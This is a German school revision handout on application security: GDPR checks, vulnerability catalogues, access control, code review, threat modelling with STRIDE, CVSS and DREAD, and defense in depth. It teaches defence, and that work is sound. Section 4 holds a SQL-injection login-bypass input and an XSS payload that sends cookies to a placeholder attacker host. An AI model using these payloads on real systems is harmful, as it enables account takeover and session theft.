htl donaustadt

Wiederholung 2: Anwendung eines Unternehmens analysieren

Lernziele:

- Personenbezogene Daten und besondere Kategorien personenbezogener Daten in einer Anwendungsbeschreibung erkennen und zentrale DSGVO-Pflichten dazu benennen.
- Vulnerability von Weakness unterscheiden und Angriffsvektoren einer gegebenen Architektur benennen.
- Access-Control-Modelle (DAC, MAC, RBAC, ABAC) unterscheiden und konkreten Berechtigungen zuordnen.
- Häufige Webanwendungs-Schwachstellen (SQL-Injection, XSS) in Code erkennen, erklären und beheben, sowie deren Schweregrad mit CVSS einschätzen.
- Ein Threat Model mit Angriffsbaum und STRIDE erstellen und die gefundenen Bedrohungen mit DREAD priorisieren.
- Das Prinzip Defense in Depth erklären und auf mehrere Absicherungsebenen anwenden.

---

1. Datenschutz und Zweckbindung

Die Analyse einer Anwendung beginnt immer damit, festzustellen, welche personenbezogenen Daten sie überhaupt verarbeitet, und erst danach zu prüfen, ob diese Verarbeitung den Vorgaben der DSGVO entspricht. **Personenbezogene Daten** sind dabei alle Angaben, die sich auf eine bestimmte oder bestimmbare Person beziehen, etwa Name, Adresse, E-Mail-Adresse, Kundennummer oder IP-Adresse. Eine Teilmenge davon sind die **besonderen Kategorien personenbezogener Daten** nach **Artikel 9**, etwa Gesundheitsdaten, biometrische Daten, Daten zur ethnischen Herkunft oder zur sexuellen Orientierung, für die strengere Verarbeitungsvoraussetzungen gelten als für gewöhnliche personenbezogene Daten (im Regelfall eine ausdrückliche Einwilligung oder eine eigens dafür vorgesehene gesetzliche Ausnahme, nicht die für gewöhnliche Daten oft ausreichende Vertragserfüllung).

Als durchgehendes Beispiel dient im Folgenden eine fiktive Personalverwaltungs-App eines Unternehmens: Sie speichert Name, Adresse und Gehalt der Mitarbeitenden (gewöhnliche personenbezogene Daten), zusätzlich aber auch die Krankmeldungen mitsamt Diagnoseschlüssel (Gesundheitsdaten, also eine besondere Kategorie nach Artikel 9), und übermittelt die Gehaltsdaten monatlich an einen externen Lohnverrechnungs-Dienstleister.

Anhand dieses Beispiels lassen sich die für eine Anwendungsprüfung zentralen DSGVO-Artikel der Reihe nach durchgehen, jeweils als aufeinander aufbauender Prüfschritt:

1. **Artikel 5 (Grundsätze der Verarbeitung):** Zweckbindung bedeutet, dass die Gehaltsdaten ausschließlich für die Gehaltsabrechnung verwendet werden dürfen, nicht etwa zusätzlich für interne Statistiken ohne eigene Rechtsgrundlage. Datenminimierung bedeutet, dass die App nur die für die Gehaltsabrechnung tatsächlich nötigen Diagnoseinformationen aus einer Krankmeldung übernehmen darf (im Regelfall genügt “krankgeschrieben ja/nein” mitsamt Zeitraum, nicht die konkrete Diagnose selbst).
2. **Artikel 24 und Artikel 32 (technische und organisatorische Maßnahmen):** Der Verantwortliche muss nachweisbar angemessene Schutzmaßnahmen umsetzen, für die Gesundheitsdaten dieses Beispiels etwa Verschlüsselung der Datenbank und eine strikte, nach Artikel 9 besonders zu rechtfertigende Zugriffsbeschränkung, sodass nicht jede Person aus der Personalabteilung automatisch auch die Diagnoseschlüssel einsehen kann.
3. **Artikel 25 (Privacy by Design und by Default):** Schon beim Entwurf der App sollte etwa vorgesehen werden, dass Diagnoseschlüssel standardmäßig nicht in der normalen Mitarbeiterübersicht angezeigt werden (by Default), sondern ein eigenes, gesondert abgesichertes Modul dafür existiert (by Design), statt diesen Schutz nachträglich aufzusetzen.
4. **Artikel 28 (Auftragsverarbeitung):** Da die Gehaltsdaten an den externen Lohnverrechnungs-Dienstleister übermittelt werden, ist mit diesem ein Auftragsverarbeitungsvertrag (AVV) abzuschließen, der unter anderem festlegt, wofür der Dienstleister die Daten verwenden darf und welche Schutzmaßnahmen er dabei einzuhalten hat.
5. **Artikel 30 (Verzeichnis von Verarbeitungstätigkeiten):** Das Unternehmen muss dokumentieren, dass und wie es Personaldaten sowie Gesundheitsdaten zu welchem Zweck verarbeitet, einschließlich der Weitergabe an den Lohnverrechnungs-Dienstleister.
6. **Artikel 35 (Datenschutz-Folgenabschätzung):** Da hier eine besondere Datenkategorie (Gesundheitsdaten) systematisch für die gesamte Belegschaft verarbeitet wird, ist zu prüfen, ob eine Datenschutz-Folgenabschätzung erforderlich ist — bei einem großen Unternehmen mit vielen Mitarbeitenden im Regelfall ja, bei einem Kleinstbetrieb mit nur wenigen, sporadischen Krankmeldungen ist das im Einzelfall zu begründen.

Eine problematische Datenkategorie lässt sich oft bereits durch eine datenschutzfreundlichere technische Umsetzung entschärfen: Im Beispiel etwa, indem die App dem Lohnverrechnungs-Dienstleister nur ein anonymes Kürzel für “krankheitsbedingter Fehltag” statt des konkreten Diagnoseschlüssels übermittelt, oder indem Diagnoseschlüssel nur so lange gespeichert werden, wie sie für die laufende Abrechnung tatsächlich benötigt werden, statt dauerhaft im Mitarbeiterprofil.

2. Architektur- und Angriffsflächenanalyse

Die Analyse einer Anwendung betrachtet systematisch deren Bestandteile: Frontend, Backend, Datenhaltung, Authentifizierung und Schnittstellen zu anderen Systemen. Jeder dieser Bestandteile kann einen eigenen Angriffsvektor darstellen, etwa ein veraltetes, ungepatchtes Frontend, eine fehlende Trennung zwischen unterschiedlichen Kundensitzungen, oder ein gemeinsames Datenbankkonto für die gesamte Anwendung ohne abgestufte Rechte.

Dabei ist die Unterscheidung zwischen zwei verwandten, aber unterschiedlichen Begriffen wichtig: Eine **Weakness** ist die allgemeine, kategorische Fehlerursache, etwa fehlende Eingabevalidierung als Fehlerklasse. Eine **Vulnerability** ist die konkrete, tatsächlich ausnutzbare Ausprägung dieser Weakness in einem bestimmten System, etwa eine konkrete SQL-Injection in einer bestimmten Datei. Eine

Weakness muss also nicht zwangsläufig ausnutzbar sein, eine Vulnerability schon.

Für beide Begriffe gibt es jeweils ein eigenes, international gepflegtes Verzeichnis, das genau dieser Unterscheidung folgt:

- **CWE (Common Weakness Enumeration):** ein von MITRE gepflegter, nummerierter Katalog allgemeiner **Weakness**-Kategorien, unabhängig von einem konkreten Produkt. Fehlende Eingabevalidierung, die zu SQL-Injection führen kann, trägt darin etwa die Kennung **CWE-89**, unsachgemäße Neutralisierung von Eingaben, die zu Cross-Site Scripting führen kann, die Kennung **CWE-79**.
- **CVE (Common Vulnerabilities and Exposures):** ebenfalls international koordiniert (über sogenannte CVE Numbering Authorities), listet aber **konkrete Vulnerabilities**, also tatsächlich gefundene und öffentlich gemeldete Schwachstellen in einem bestimmten, benannten Produkt und einer bestimmten Version, jeweils mit einer eindeutigen Kennung der Form `CVE-Jahr-Nummer`. Ein bekanntes Beispiel ist **CVE-2021-44228** (“Log4Shell”): eine konkrete Schwachstelle in der weitverbreiteten Java-Logging-Bibliothek Log4j, bei der eine geloggte, vom Angreifer kontrollierte Zeichenkette (etwa in einem HTTP-Header) einen Server dazu bringen konnte, beliebigen Code nachzuladen und auszuführen. Ihre CVE-Eintragung verweist ihrerseits auf die zugrunde liegenden allgemeinen Weakness-Kategorien CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten) und CWE-917 (unsachgemäße Neutralisierung in einem Expression-Language-Ausdruck) — genau die CWE-Kategorien also, denen diese eine konkrete Vulnerability zuzuordnen ist.
- **EUVD (European Union Vulnerability Database):** eine von der europäischen Cybersicherheitsagentur ENISA betriebene, neuere Datenbank, die konkrete Vulnerabilities (vergleichbar mit CVE) unter europäischer Verantwortung erfasst, unter anderem, um im Rahmen von NIS-2 europäischen CSIRTs eine von der Verwaltung des US-amerikanischen CVE-Programms unabhängige, eigene Quelle zur Verfügung zu stellen. Die EUVD übernimmt dabei auch bereits bekannte CVE-Einträge wie CVE-2021-44228 in ihren eigenen Bestand, listet zusätzlich aber auch Schwachstellen, die (noch) keine CVE-Kennung erhalten haben.

Am Beispiel Log4Shell zusammengefasst: CWE-502/CWE-917 beschreiben die allgemeine Fehlerklasse (Weakness), CVE-2021-44228 die eine konkrete, in Log4j tatsächlich gefundene Ausprägung dieser Fehlerklasse (Vulnerability), und die EUVD ist einer von mehreren Orten, an denen genau diese konkrete Vulnerability nachschlagbar gelistet ist.

Als gemeinsame Referenzsprache für gefundene Schwachstellen speziell in Webanwendungen dient zusätzlich die **OWASP Top 10**, eine regelmäßig aktualisierte Liste der zehn kritischsten Sicherheitsrisiken (eine gröbere, anwendungsfallorientierte Einteilung als die deutlich feingranularere CWE-Liste). Relevante Kategorien sind unter anderem Broken Access Control (fehlende oder fehlerhafte Durchsetzung von Zugriffsbeschränkungen) sowie Injection (worunter sowohl klassische SQL-Injection als auch Cross-Site Scripting fallen, da beide auf demselben Grundmuster beruhen: nicht vertrauenswürdige Eingaben werden ungeprüft in einen ausführbaren Kontext übernommen).

3. Zugriffsrechte auf Betriebssystemebene

Auf dem Server, auf dem eine Anwendung läuft, entscheidet ein **Access-Control-Modell**, wer auf welche Dateien und Verzeichnisse zugreifen darf. **DAC (Discretionary Access Control)** überlässt die Vergabe von Zugriffsrechten dem Eigentümer einer Ressource selbst, das klassische Beispiel sind die Unix-Dateirechte für Eigentümer, Gruppe und Andere. **MAC (Mandatory Access Control)** legt Zugriffsrechte stattdessen über eine zentrale, vom einzelnen Benutzer nicht veränderbare

Systemrichtlinie fest, umgesetzt etwa durch SELinux oder AppArmor. **RBAC (Role Based Access Control)** bindet Rechte an Rollen statt an einzelne Personen, eine Person erhält ihre Rechte automatisch durch Zuweisung zu einer oder mehreren Rollen. **ABAC (Attribute Based Access Control)** trifft Zugriffsentscheidungen anhand einer Kombination mehrerer Attribute, etwa Eigenschaften des Nutzers, der Ressource, der Umgebung oder der Zeit, und erlaubt dadurch deutlich feingranularere, kontextabhängige Regeln als die anderen drei Modelle.

Welches Modell zu einer konkreten Berechtigung passt, zeigt sich am ehesten daran, wer die Entscheidung tatsächlich trifft und wovon sie abhängt: Wenn eine einzelne Projektleiterin selbst festlegt, wer auf “ihren” Projektordner zugreifen darf, ist das DAC. Wenn stattdessen eine zentrale Systemrichtlinie unabhängig vom Ordnereigentümer vorschreibt, dass Dateien mit der Kennzeichnung “vertraulich” grundsätzlich nicht per E-Mail verlassen dürfen, ist das MAC. Wenn der Zugriff auf die Gehaltsabrechnungs-Datenbank daran hängt, ob eine Person der Rolle “Personalverrechnung” zugewiesen ist, unabhängig davon, wer diese Rolle gerade innehat, ist das RBAC. Wenn der Zugriff zusätzlich noch davon abhängt, ob die Anfrage während der Kernarbeitszeit und von einem als vertrauenswürdig eingestuften Firmengerät aus erfolgt, kombiniert das mehrere Attribute gleichzeitig und ist damit ABAC.

Bei der Prüfung einer konkreten Berechtigungsliste ist besonders auf zwei Muster zu achten: ein mit dem SUID-Bit versehenes, dem Systembenutzer root gehörendes Programm läuft unabhängig vom aufrufenden Benutzer immer mit vollen Root-Rechten, was es zu einem beliebten Ziel für Privilege Escalation macht, wenn sich sein Verhalten vom Aufrufer beeinflussen lässt. Ebenso kritisch sind Dateien, die von jedem Systembenutzer gelesen und beschrieben werden können, obwohl dafür kein tatsächlicher Bedarf besteht. Eine gefundene, kritisch zu hinterfragende Berechtigung lässt sich meist durch gezielte Einschränkung von Eigentümer, Gruppe und Zugriffsmodus korrigieren, ohne die eigentliche Funktion des betroffenen Programms zu beeinträchtigen.

4. Code-Review: Eingaben und Ausgaben systematisch prüfen

Unabhängig von der konkreten Schwachstellenklasse folgt ein Code-Review immer demselben Grundprinzip: An jeder Stelle, an der Daten **in** den Code hineinkommen (eine **Eingabe** beziehungsweise ein **Source**), muss verfolgt werden, was mit diesen Daten passiert, bis sie den Code an einer Stelle wieder **verlassen** (eine **Ausgabe** beziehungsweise ein **Sink**) — und ob sie auf diesem Weg angemessen geprüft, bereinigt oder in ein sicheres Format gebracht wurden, bevor sie den jeweiligen Sink erreichen.

Typische Eingaben (Sources), die grundsätzlich als nicht vertrauenswürdig zu behandeln sind: Formulardaten und URL-Parameter einer Benutzerin oder eines Benutzers, HTTP-Header (etwa User-Agent oder Referer), hochgeladene Dateien und deren Inhalt, Metadaten in Bildern (etwa EXIF-Daten), Antworten externer APIs oder anderer Systeme, sowie bereits in der eigenen Datenbank gespeicherte Einträge — auch diese sind nicht automatisch vertrauenswürdig, wenn sie ursprünglich selbst aus einer ungeprüften Eingabe stammen (etwa ein zuvor ungeprüft gespeicherter Kommentar, siehe das Stored-XSS-Beispiel unten).

Typische Ausgaben (Sinks), an denen Daten in einem bestimmten Kontext verwendet werden, der jeweils eigene Sicherheitsregeln hat: eine in eine Datenbankabfrage eingebettete Verarbeitungslogik (SQL-Kontext), eine an eine externe API gesendete Anfrage (etwa als Teil einer URL oder eines JSON-Bodys), eine direkt an die Benutzerin oder den Benutzer ausgegebene Antwort (HTML-/JavaScript-Kontext), eine in eine Datei geschriebene Information, oder ein an das Betriebssystem übergebener Befehl (Kommandozeilen-Kontext). Entscheidend ist dabei: dieselbe Eingabe kann gefahrlos sein, wenn sie unverändert an einen harmlosen Sink geht, aber gefährlich werden, sobald sie an einem sensiblen Sink landet.

Für die eigentliche Prüfung stehen zwei grundsätzliche Vorgehensweisen zur Verfügung. Beim **Top-Down-Ansatz** beginnt die Prüfung bei den Eingabepunkten (etwa jedem Formularfeld oder jedem API-Endpunkt) und verfolgt den Datenfluss vorwärts durch die Anwendung, bis sichtbar wird, an welchen Sinks die jeweiligen Daten letztlich verwendet werden — dieser Ansatz deckt systematisch auch Eingabepunkte ab, deren Risiko vorher noch gar nicht bekannt war, ist bei einer großen Anwendung mit vielen Eingabepunkten aber entsprechend aufwendig. Beim **Bottom-Up-Ansatz** beginnt die Prüfung stattdessen bei bereits bekannten, potenziell gefährlichen Sinks (etwa jeder Stelle im Code, an der eine SQL-Abfrage zusammengebaut oder ein Betriebssystembefehl ausgeführt wird) und verfolgt den Datenfluss rückwärts bis zu dessen Ursprung — dieser Ansatz kommt bei einer gezielten Suche nach bekannten Schwachstellenklassen schneller zum Ergebnis, kann dafür aber unerwartete, noch nicht als riskant erkannte Sinks übersehen. In der Praxis werden beide Ansätze meist kombiniert: Bottom-Up für eine gezielte Prüfung bekannter Risikoklassen, ergänzt um eine Top-Down-Prüfung derjenigen Programmteile, die neu oder besonders komplex sind.

Am Beispiel von SQL-Injection und Cross-Site Scripting lässt sich dieses allgemeine Eingabe-Ausgabe-Prinzip konkret nachvollziehen: In beiden Fällen ist die Eingabe eine ungeprüfte Benutzereingabe, der Sink jeweils ein anderer (einmal eine SQL-Abfrage, einmal die HTML-Ausgabe), und entsprechend unterscheidet sich auch die passende Absicherung am jeweiligen Sink.

Bei einer **SQL-Injection** schleust eine Person über eine Eingabe eigenen SQL-Code in eine Datenbankabfrage ein, weil Eingabe und eigentlicher Abfragebefehl nicht sauber voneinander getrennt werden, etwa durch direktes Zusammenbauen des Abfragestrings aus einer Benutzereingabe:

```
// verwundbar: Benutzereingabe wird direkt in die Abfrage eingefuegt
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
// Eingabe admin' OR '1'='1 macht daraus:
// SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// -> liefert IMMER eine Zeile zurueck, unabhaengig vom tatsaechlichen Benutzernamen
```

Die wirksame Gegenmaßnahme sind **Prepared Statements** beziehungsweise parametrisierte Abfragen, bei denen die Struktur der Abfrage fest vorgegeben ist und die eingegebenen Werte strikt getrennt davon als reine Daten eingesetzt werden, wodurch dieselbe Eingabe nur noch als (erfolglose) Zeichenkette gesucht wird, nicht mehr als SQL-Code interpretiert werden kann:

```
// sicher: Platzhalter (?) trennt Abfragestruktur strikt von der Eingabe
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
```

Bei **Cross-Site Scripting (XSS)** schleust ein Angreifer stattdessen eigenen JavaScript-Code ein, der im Browser einer anderen, meist ahnungslosen Person ausgeführt wird, etwa wenn ein Kommentarfeld ungeprüft in die Seite übernommen wird:

```
// verwundbar: Kommentar wird ungeprueft direkt ins HTML uebernommen
echo "<div>" . $_POST['kommentar'] . "</div>";
// Eingabe
↪  <script>document.location='https://angreifer.example/steal?c='+document.cookie</script>
// wird als echtes Skript ausgefuehrt, sobald jemand die Seite betrachtet
```

```
// sicher: Ausgabe wird kodiert, Sonderzeichen bleiben reiner Text statt HTML
echo "<div>" . htmlspecialchars($_POST['kommentar'], ENT_QUOTES) . "</div>";
```

Reflected XSS wirkt nur bei einem einzelnen, meist über einen präparierten Link zugestellten Aufruf, das Opfer muss den Link aktiv anklicken. **Stored XSS** wie im Beispiel oben wird dagegen dauerhaft gespeichert (etwa in der Kommentar-Datenbank) und trifft automatisch jede spätere betrachtende Person, ohne dass diese aktiv etwas anklicken muss, wodurch Stored XSS in der Regel deutlich gefährlicher ist als Reflected XSS. Gegenmaßnahmen gegen XSS sind konsequentes Output-Encoding wie im Beispiel sowie ergänzend eine restriktive Content-Security-Policy, die das Nachladen und Ausführen von Skripten aus nicht ausdrücklich erlaubten Quellen von vornherein unterbindet.

Passwörter dürfen niemals im Klartext gespeichert werden. Eine SQL-Abfrage, die ein eingegebenes Passwort direkt im Klartext mit dem in der Datenbank hinterlegten Wert vergleicht, verrät bereits, dass das Passwort selbst im Klartext gespeichert sein muss, ein bei einer erfolgreichen SQL-Injection besonders gravierender Fund, da dann sämtliche Kundenpasswörter unmittelbar einsehbar wären. Stattdessen sollten Passwörter ausschließlich als Ergebnis einer dafür geeigneten, absichtlich langsamen Hashfunktion wie bcrypt, scrypt oder Argon2 gespeichert werden, kombiniert mit einem individuellen, zufälligen Salt je Passwort, der vorberechnete Rainbow-Table-Angriffe unwirksam macht.

5. Threat Modeling: Angriffsbaum, STRIDE, CVSS und DREAD

Ein **Angriffsbaum (Attack Tree)** stellt ein übergeordnetes Angreiferziel grafisch als systematisch zerlegte Teilschritte dar. Verzweigungen werden über ODER verknüpft, wenn es alternative, voneinander unabhängige Wege zum selben Ziel gibt, oder über UND, wenn mehrere Teilschritte gemeinsam erfüllt sein müssen, bevor das übergeordnete Ziel erreicht ist. Ein einfaches Beispiel für das Ziel “Zugriff auf ein fremdes Benutzerkonto erlangen”:

```
Ziel: Zugriff auf fremdes Benutzerkonto erlangen
├── ODER: Passwort erraten/knacken
│   ├── ODER: Phishing-Mail mit gefälschter Login-Seite versenden
│   └── ODER: Brute-Force-Angriff durchführen
│       └── UND: Kein Rate-Limiting auf der Login-Seite vorhanden
│       └── UND: Liste häufiger Passwörter verfügbar
└── ODER: Bestehende Session übernehmen
    └── UND: Stored XSS in der Anwendung vorhanden (siehe Abschnitt 4)
    └── UND: Session-Cookie ohne HttpOnly-Flag gesetzt
```

Der Baum macht sichtbar, dass der Weg über eine übernommene Session nur funktioniert, wenn **beide** UND-verknüpften Bedingungen gleichzeitig zutreffen (eine XSS-Schwachstelle allein genügt nicht, wenn das Cookie ohnehin per JavaScript nicht auslesbar ist) — genau eine dieser beiden Bedingungen zu beseitigen reicht also bereits aus, um diesen gesamten Teilzweig abzuschneiden.

STRIDE ist ein von Microsoft entwickeltes Akronym zur systematischen Identifikation von Bedrohungen anhand von sechs Kategorien: **Spoofing** (das Vortäuschen einer falschen Identität), **Tampering** (die unerlaubte Veränderung von Daten), **Repudiation** (das erfolgreiche Abstreiten einer durchgeführten Handlung mangels Nachweisbarkeit, siehe Non-Repudiation aus Wiederholung 1), **Information Disclosure** (die unerlaubte Preisgabe von Informationen), **Denial of Service** (die Beeinträchtigung der Verfügbarkeit) sowie **Elevation of Privilege** (die unerlaubte Ausweitung eigener Rechte). STRIDE eignet sich besonders gut als strukturierte Checkliste während Design-Reviews neuer Funktionen sowie in Code-Reviews bereits bestehender Anwendungen, jede Komponente oder jeder Datenfluss wird dabei systematisch gegen alle sechs Kategorien geprüft.

Zur einheitlichen, international vergleichbaren Einschätzung des Schweregrads einer bereits gefundenen, konkreten Schwachstelle (im Unterschied zu STRIDE, das noch unbewertete Bedrohungen systematisch

identifiziert) dient **CVSS (Common Vulnerability Scoring System)** in der aktuellen Version 4.0. Ein CVSS-Score liegt zwischen 0,0 und 10,0 und wird in die Schweregrade None, Low, Medium, High und Critical eingeteilt. CVSS 4.0 gliedert die Bewertung in mehrere Dimensionen (Metrikgruppen):

- **Exploitability-Metriken** (Eigenschaften des Angriffs selbst): Angriffsvektor **AV** (Network/Adjacent/Local/Physical), Angriffskomplexität **AC** (Low/High), Angriffsvoraussetzungen **AT** (None/Present — müssen zusätzliche, vom Angreifer nicht beeinflussbare Bedingungen erst zufällig oder vorbereitend erfüllt sein), benötigte Rechte **PR** (None/Low/High) und nötige Benutzerinteraktion **UI** (None/Passive/Active).
- **Vulnerable-System-Impact-Metriken**: Auswirkung auf Vertraulichkeit **VC**, Integrität **VI** und Verfügbarkeit **VA** des verwundbaren Systems selbst, jeweils None/Low/High.
- **Subsequent-System-Impact-Metriken**: dieselben drei Auswirkungen (**SC**/**SI**/**SA**), aber bezogen auf andere, nachgelagerte Systeme, die durch die Ausnutzung zusätzlich betroffen sind — diese Dimension ersetzt in CVSS 4.0 das frühere, gröbere “Scope”-Merkmal älterer CVSS-Versionen durch eine differenziertere Betrachtung.
- **Optionale Threat- und Environmental-Metriken**: etwa die tatsächliche Exploit-Reife **E** (wird die Schwachstelle bereits aktiv ausgenutzt, existiert nur ein Proof-of-Concept, oder ist noch gar kein Exploit bekannt) sowie organisationsspezifische Sicherheitsanforderungen, mit denen eine Organisation die Basisbewertung an ihre eigene Umgebung anpassen kann (etwa wenn ein bestimmtes System für die eigene Organisation überdurchschnittlich hohe Verfügbarkeitsanforderungen hat).

Für die oben gezeigte SQL-Injection ergäbe sich beispielsweise der Vektor `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (aus der Ferne über das Netz ausnutzbar, geringe Angriffskomplexität, keine zusätzlichen Angriffsvoraussetzungen, keine Rechte und keine Benutzerinteraktion nötig, vollständiger Verlust aller drei Schutzziele auf dem verwundbaren System selbst, keine zusätzlichen Auswirkungen auf andere Systeme). Anders als in älteren CVSS-Versionen, wo sich der Score aus einer offengelegten Formel direkt von Hand nachrechnen ließ, verwendet CVSS 4.0 ein tabellenbasiertes Verfahren mit vorberechneten Vektor-Gruppen (MacroVectors): der genaue Score wird über den offiziellen CVSS-Rechner ermittelt, für einen derart durchgehend maximalen Vektor liegt er erwartungsgemäß im obersten, kritischen Bereich der Skala.

DREAD ergänzt STRIDE um eine Bewertungsmethode zur Priorisierung bereits gefundener Bedrohungen anhand von fünf Kategorien, jeweils auf einer Skala von 1 (niedrig) bis 10 (hoch) bewertet: **Damage** (die Schadenshöhe), **Reproducibility** (wie zuverlässig sich der Angriff reproduzieren lässt), **Exploitability** (wie einfach er tatsächlich auszunutzen ist), **Affected Users** (wie viele Personen betroffen wären) und **Discoverability** (wie leicht die Schwachstelle überhaupt auffindbar ist). Die Summe der fünf Werte (maximal 50) ergibt eine nachvollziehbare Rangfolge zur Priorisierung der Behebung, wenn mehrere mit STRIDE gefundene Bedrohungen gegeneinander abgewogen werden müssen. Ein Vergleich der beiden zuvor betrachteten Schwachstellen aus Abschnitt 4:

Kategorie	SQL-Injection (Login)	Stored XSS (Kommentarfeld)
Damage	10 (voller Datenbankzugriff)	6 (Session-Diebstahl einzelner Nutzer)
Reproducibility	10 (immer reproduzierbar)	8 (zuverlässig, sobald Kommentar gespeichert ist)
Exploitability	9 (bekanntes, einfaches Muster)	6 (erfordert präparierten Kommentar plus wartenden Betrachter)

Kategorie	SQL-Injection (Login)	Stored XSS (Kommentarfeld)
Affected Users	10 (gesamte Datenbank betroffen)	5 (nur Betrachter des jeweiligen Kommentars)
Discoverability	8 (mit Standard-Scannern leicht auffindbar)	6 (erfordert gezielte Prüfung der Eingabefelder)
Summe	**47**	**31**

Die SQL-Injection erhält mit 47 von 50 Punkten die eindeutig höhere Priorität und sollte vor der Stored-XSS-Schwachstelle behoben werden — ein Ergebnis, das sich mit der oben ermittelten CVSS-Einschätzung (Critical) deckt, DREAD und CVSS aber unabhängig voneinander und mit unterschiedlichem Fokus (Priorisierung innerhalb der eigenen Bedrohungsliste versus international vergleichbarer Schweregrad) ermitteln.

6. Serverhärtung und Defense in Depth

Defense in Depth ist ein Sicherheitsprinzip, bei dem mehrere unabhängige, sich gegenseitig ergänzende Schutzschichten kombiniert werden, üblicherweise unterschieden nach den Ebenen Netzwerk, Betriebssystem, Anwendung und Daten, sodass das Versagen einer einzelnen Schicht nicht sofort zum vollständigen Sicherheitsverlust führt. Eine bereits vorhandene Maßnahme lässt sich stets einer dieser vier Ebenen zuordnen, eine gezielte Prüfung jeder einzelnen Ebene deckt dabei zuverlässiger Lücken auf als eine unstrukturierte Gesamtbetrachtung.

Konkrete Härtungsmaßnahmen je Ebene, am Beispiel der Personalverwaltungs-App aus Abschnitt 1:

- **Netzwerkebene:** eine Firewall, die nur die tatsächlich benötigten Ports freigibt (etwa nur HTTPS auf Port 443 aus dem Internet, die Datenbank selbst nur aus dem internen Anwendungsnetz erreichbar statt öffentlich); Netzwerksegmentierung, die den Datenbankserver von den Arbeitsplatzrechnern der übrigen Belegschaft trennt; Verschlüsselung der Verbindung selbst (TLS statt unverschlüsseltem HTTP).
- **Betriebssystemebene:** zeitnahes Einspielen von Sicherheitsupdates für Betriebssystem und alle installierten Pakete; Deaktivieren nicht benötigter Dienste (ein Datenbankserver braucht in der Regel keinen laufenden Mailserver auf derselben Maschine); ein Zugriffsrechtekonzept nach dem Prinzip der geringsten Rechte (siehe Abschnitt 3), etwa ein eigener, nur für die Anwendung selbst nutzbarer Datenbankbenutzer statt eines gemeinsamen root-Kontos.
- **Anwendungsebene:** die in Abschnitt 4 gezeigten Maßnahmen gegen SQL-Injection (Prepared Statements) und XSS (Output-Encoding); ein aktuelles, gepatchtes Web-Framework statt einer veralteten, mit bekannten Schwachstellen behafteten Version; eine Rate-Begrenzung gegen Brute-Force-Anmeldeversuche.
- **Datenebene:** Verschlüsselung besonders schützenswerter Felder wie der Diagnoseschlüssel aus Abschnitt 1 direkt in der Datenbank (zusätzlich zur Transportverschlüsselung); regelmäßige, getrennt vom Produktivsystem aufbewahrte Backups gegen Datenverlust durch Ransomware oder Hardwaredefekt; eine Zugriffsprotokollierung, die nachträglich nachvollziehbar macht, wer wann auf welche Datensätze zugegriffen hat (siehe Accounting, Wiederholung 1).

Der Sinn der Aufteilung nach Ebenen zeigt sich am Beispiel: Eine Firewall allein (Netzwerkebene) schützt weder vor einer SQL-Injection in der Anwendung selbst (Anwendungsebene) noch vor einem fehlenden Backup, wenn die Datenbank trotz allem verschlüsselt und gestohlen wird (Datenebene) — erst das Zusammenspiel aller vier Ebenen ergibt einen tatsächlich belastbaren Schutz, bei dem das

Versagen einer einzelnen Maßnahme nicht sofort zum vollständigen Verlust aller Schutzziele führt.

Aufgabenblatt

Im zugehörigen Aufgabenblatt wenden Sie Datenschutzprüfung, Angriffsflächenanalyse, Zugriffsrechte-Bewertung, Code-Review samt CVSS-Einschätzung, Threat Modeling und Defense-in-Depth-Zuordnung auf die Anwendung Ihres Unternehmens an: im gemeinsamen Unterricht anhand des Plenums-Unternehmens, danach als Hausübung eigenständig anhand des jeweils eigenen Gruppen-Unternehmens.